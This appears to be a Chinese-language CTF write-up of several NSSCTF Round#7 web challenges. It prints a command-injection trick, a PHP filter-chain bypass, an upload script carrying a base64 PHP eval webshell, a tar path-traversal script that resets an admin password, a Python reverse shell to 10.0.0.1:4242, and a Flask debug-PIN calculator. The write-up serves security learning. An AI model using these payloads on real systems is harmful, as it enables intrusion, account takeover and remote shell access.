ec_RCE 一个比较简单的题,但是需要看懂代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW --> <!-- By 探姬 --> <? PHP if (!isset ($_POST ["action" ]) && !isset ($_POST ["data" ])) show_source (__FILE__ ); putenv ('LANG=zh_TW.utf8' ); $action = $_POST ["action" ]; $data = "'" .$_POST ["data" ]."'" ; $output = shell_exec ("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data " ); echo $output ; ?>
一开始还以为是个比较复杂的java题,一血也没有了就直接跳了,下面的shell_exec后面是执行jar文件,action和data可控直接利用||
拼接一条cat命令即可
0o0 直接F12可以看到一个get参数,当然抓包也行
然后传参发现下面源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php header ('get:S0uRc3' ); error_reporting (0 ); set_include_path ('Round7/' ); if (isset ($_GET ['0o0' ])) { $O0O = file_get_contents ($_GET ['0o0' ],1 ); if (strpos ($O0O , 'Round7' ) === 0 ) { die ('NO!!!!! Permission denied!' ); } else if (strpos ($O0O , 'Xy1on' ) === 0 ) { echo $O0O ; die (); } else { die ("Nothing!!!" ); } } if (isset ($_GET ['S0uRc3' ])){ highlight_file (__FILE__ ); $O0O = file_get_contents ('CTF' ,1 ); echo $O0O ; }else { echo "Nothing here" ; }
这里在0的位置上需要匹配到Xy1on,利用工具制作filter链绕过,工具地址 这里需要注意在Linux下运行并且Xy1on后面要有个空格,否则会出现乱码,在Windows下加空格就会报错,访问level2
1 php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=level2
进入Ns_SCtF.php拿到源码,这里其实一开始扫目录的话会扫到一个DS_Store,进去会发现能直接看到Ns_SCtF.php只是需要删掉空格,这样就省略了上面的步骤,直接来到最后一步绕过
然后再看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php error_reporting (0 );highlight_file (__FILE__ );$NSSCTF = $_GET ['NSSCTF' ] ?: '' ;$NsSCTF = $_GET ['NsSCTF' ] ?: '' ;$NsScTF = $_GET ['NsScTF' ] ?: '' ;$NsScTf = $_GET ['NsScTf' ] ?: '' ;$NSScTf = $_GET ['NSScTf' ] ?: '' ;$nSScTF = $_GET ['nSScTF' ] ?: '' ;$nSscTF = $_GET ['nSscTF' ] ?: '' ;if ($NSSCTF != $NsSCTF && sha1 ($NSSCTF ) === sha1 ($NsSCTF )) { if (!is_numeric ($NsScTF ) && in_array ($NsScTF , array (1 ))) { if (file_get_contents ($NsScTf ) === "Welcome to Round7!!!" ) { if (isset ($_GET ['nss_ctfer.vip' ])) { if ($NSScTf != 114514 && intval ($NSScTf , 0 ) === 114514 ) { $nss = is_numeric ($nSScTF ) and is_numeric ($nSscTF ) !== "NSSRound7" ; if ($nss && $nSscTF === "NSSRound7" ) { if (isset ($_POST ['submit' ])) { $file_name = urldecode ($_FILES ['file' ]['name' ]); $path = $_FILES ['file' ]['tmp_name' ]; if (strpos ($file_name , ".png" ) == false ){ die ("NoO0P00oO0! Png! pNg! pnG!" ); } $content = file_get_contents ($path ); $real_content = '<?php die("Round7 do you like");' . $content . '?>' ; $real_name = fopen ($file_name , "w" ); fwrite ($real_name , $real_content ); fclose ($real_name ); echo "OoO0o0hhh." ; } else { die ("NoO0oO0oO0!" ); } } else { die ("N0o0o0oO0o!" ); } } else { die ("NoOo00O0o0!" ); } } else { die ("Noo0oO0oOo!" ); } } else { die ("NO0o0oO0oO!" ); } } else { die ("No0o0o000O!" ); } } else { die ("NO0o0o0o0o!" ); } NO0o0o0o0o!
这里的绕过直接看wp解释,挺详细的懒得写了首先是各自绕过,第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2,第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q,第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!,第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线,有且仅变一次),第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接nSScTF=1,$nSscTF=NSSRound7。这里的关键是文件上传,通过strops()检测文件的名称是否存在png,直接改增加png即可绕过,关键是会将<?php die(“Round7 do you like”);写入到文件中,所以就导致了传入的虽然是php文件,但是会终止。这里也是使用上面同一个tips,使用过滤器使用文件,如php://filter/write=convert.base64-decode/resource=aiwin.png.php,让写入内容进行base64解码,这里要使用URL编码,绕过/resource=aiwin.png.php作为文件名,然后在文件写入的内容中构造base64,使得<?php die(“Round7 do you like”);被不正常解码,造成死亡绕过
死亡绕过也是常见的,主要是url编码,不然就会造成resource=aiwin.png.php作为文件名,然后就可以自己在本地写一个上传文件的HTML来抓包得到文件类型,或者直接用写脚本来上传
1 2 3 4 5 6 7 8 9 10 11 import requestsimport base64 content = b"""aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+""" url = "http://43.142.108.3:28571/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=&NSScTf=114514.3&nSScTF=1&nSscTF=NSSRound7" data = {"submit" : "Submit" } files = {'file' : ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%31%31%2e%70%6e%67%2e%70%68%70' , content, 'image/jpeg' )} resp = requests.post(url, data=data, files=files) print (resp.text)
蚁剑连接在home下找到flag
参考:NSSRound#7 TeamWeb学习_Aiwin-Hacker的博客-CSDN博客 NSSRound#7_清风–的博客-CSDN博客 NSSCTF - 文章 - NSSRound#7 Team 官方Write Up (ctfer.vip)
新的博客 第一个路由下可以得到一些信息
解密中间的字符得到源码
打开可以看到只要admin可以看到flag,这里其实就是利用目录穿越覆盖掉原来的userinfo.json,重置admin密码,可以参考一下CVE-2007-4559,可怜我当时还一直想着伪造session
1 2 3 4 5 6 7 8 9 10 11 import os, hashlib, json username = 'Joker' admin_passwd = '123456' os.makedirs('conf' ) os.makedirs(os.sep.join([os.getcwd(), 'userData' , username])) with open (os.sep.join([os.getcwd(), 'conf' , 'userinfo.json' ]), 'wb' ) as tFile: tFile.write(json.dumps({'admin' : hashlib.sha512(admin_passwd.encode('utf-8' )).hexdigest()}).encode('utf-8' )) userDataDir = os.sep.join([os.getcwd(), 'userData' ]) os.system(f'cd "{userDataDir} " && tar cPzvf upload.tar.gz {username} /../../conf/userinfo.json' )
运行之后会产生一个upload.tar.gz文件,然后用脚本中的用户名去注册一个账号登录后上传生成的upload.tar.gz文件,然后注销,用admin登录即可看到flag
ShadowFlag 先放代码,之前没接触过这类题,自己对于Linux的很多东西也不懂,趁此可以学学
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from flask import Flask, request import os from time import sleep app = Flask(__name__) flag1 = open ("/tmp/flag1.txt" , "r" ) with open ("/tmp/flag2.txt" , "r" ) as f: flag2 = f.read() tag = False @app.route("/" ) def index (): with open ("app.py" , "r+" ) as f: return f.read() @app.route("/shell" , methods=['POST' ] ) def shell (): global tag if tag != True : global flag1 del flag1 tag = True os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt" ) action = request.form["act" ] if action.find(" " ) != -1 : return "Nonono" else : os.system(action) return "Wow" @app.errorhandler(404 ) def error_date (error ): sleep(5 ) return "扫扫扫,扫啥东方明珠呢[怒]" if __name__ == "__main__" : app.run()
直接看shell路由,可以弹个shell,这里过滤了空格用%09可以绕过,然后去大佬推荐的弹shell大合集里面找个python无空格的就行,[弹shell大合集](PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings (github.com) )act=python%09-c%09'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
hackbar执行拿到shell,然后这里涉及到拿flag的第一个知识点
可以看到第一个flag是使用open打开的flag1 = open("/tmp/flag1.txt", "r")
,但是rm删除了,但是没有用close()来关闭,这样就会造成,文件虽然已经删除但是进程仍然存在,此时我们就可以在/proc/[pid]/fd
下找到这个文件
这样就找到了第一段flag,然后找第二段flag,这里就涉及到高版本的flask pin值计算,因为第二个flag是用with打开with open("/tmp/flag2.txt", "r") as f:
用with打开特点是使用完后默认关闭,所以就得从flask环境中去找,即算出pin值,打开console调试去找 计算pin值需要得到下面这几个数值
1.flask所登录的用户名 2.flask库下app.py的绝对路径 2.当前网络的mac地址的十进制数 2.docker_id和机器id
怎么找直接写在脚本里面了,docker那里取最上面的值就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hashlib from itertools import chain probably_public_bits = [ 'ctf' 'flask.app' , 'Flask' , '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ str (int ("02:42:ac:02:00:f7" .replace(":" ,"" ),16 )), "e0ad2d31-1d21-4f57-b1c5-4a9036fbf235" +"0dcbb0f159a0a2183aa148b6259b663635ea0a7ec4822b7da342ed08761bf47c" ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
运行得到pin,然后在下面这里输入flag2得到
参考:NSSRound#7_清风–的博客-CSDN博客 Randark-JMT/NSSCTF-Round_v7-ShadowFlag: A reverse challenge in NSSCTF Round#7 (github.com) 这里还有一个法二,有兴趣可以看看NSS Round7_web - nLesxw - 博客园 (cnblogs.com)